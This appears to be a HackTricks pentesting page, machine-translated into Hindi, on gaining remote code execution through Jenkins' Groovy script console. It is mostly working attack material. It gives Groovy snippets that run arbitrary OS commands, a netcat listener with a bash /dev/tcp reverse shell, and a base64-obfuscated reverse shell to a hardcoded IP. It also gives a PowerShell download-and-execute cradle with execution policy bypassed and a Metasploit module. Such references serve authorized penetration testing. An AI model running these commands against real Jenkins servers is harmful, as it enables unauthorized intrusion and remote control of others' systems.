Jenkins RCE with Groovy Script

हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

Jenkins में Groovy स्क्रिप्ट के साथ RCE

यह Jenkins में एक नए परियोजना बनाने से कम शोरगुल से काम करता है

  1. path_jenkins/script पर जाएं

  2. पाठ बॉक्स के अंदर स्क्रिप्ट दर्ज करें

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

आप cmd.exe /c dir का उपयोग करके एक कमांड को निष्पादित कर सकते हैं।

लिनक्स में आप यह कर सकते हैं: "ls /".execute().text

यदि आपको पाठ में उद्धरण और एकल उद्धरण का उपयोग करना हो, तो आप """PAYLOAD""" (तिहरी डबल कोट) का उपयोग करके पेलोड को निष्पादित कर सकते हैं।

एक और उपयोगी ग्रूवी स्क्रिप्ट है (इसे बदलें [इंसर्ट कमांड]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

लिनक्स में रिवर्स शेल

एक रिवर्स शेल एक हैकर को एक दूसरे सिस्टम में दूरस्थ नियंत्रण प्राप्त करने की अनुमति देता है। यह तकनीक लिनक्स पर भी काम करती है। रिवर्स शेल का उपयोग करके हम एक दूसरे सिस्टम में एक शेल सत्र शुरू कर सकते हैं और उसे नियंत्रित कर सकते हैं। इसके लिए हमें दूसरे सिस्टम पर एक लिसनर शेल सत्र चलाने की आवश्यकता होती है जो हमें एक निर्दिष्ट पोर्ट पर सुनने की अनुमति देता है। इसके बाद हम रिवर्स शेल स्क्रिप्ट को उस सिस्टम पर चलाते हैं जिसमें हम नियंत्रण प्राप्त करना चाहते हैं। इसके बाद हम उस सिस्टम को नियंत्रित कर सकते हैं और उसमें विभिन्न कमांड्स चला सकते हैं।

यहां एक उदाहरण है जिसमें हम एक रिवर्स शेल उपयोग करके लिनक्स पर दूसरे सिस्टम में नियंत्रण प्राप्त करते हैं:

nc -lvp <port> # लिसनर शेल सत्र चलाएं

और फिर दूसरे सिस्टम पर निम्नलिखित रिवर्स शेल स्क्रिप्ट को चलाएं:

bash -i >& /dev/tcp/<listener_ip>/<port> 0>&1 # रिवर्स शेल स्क्रिप्ट चलाएं

इसके बाद, जब रिवर्स शेल स्क्रिप्ट सफलतापूर्वक चलेगा, तो आप दूसरे सिस्टम को नियंत्रित कर सकेंगे और उसमें विभिन्न कमांड्स चला सकेंगे।

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

विंडोज में रिवर्स शेल

आप एक PS रिवर्स शेल के साथ एक HTTP सर्वर तैयार कर सकते हैं और उसे डाउनलोड और निष्पादित करने के लिए जेंकिंस का उपयोग कर सकते हैं:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

स्क्रिप्ट

आप इस प्रक्रिया को इस स्क्रिप्ट के साथ स्वचालित कर सकते हैं।

आप MSF का उपयोग करके एक रिवर्स शेल प्राप्त कर सकते हैं:

msf> use exploit/multi/http/jenkins_script_console
हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

Last updated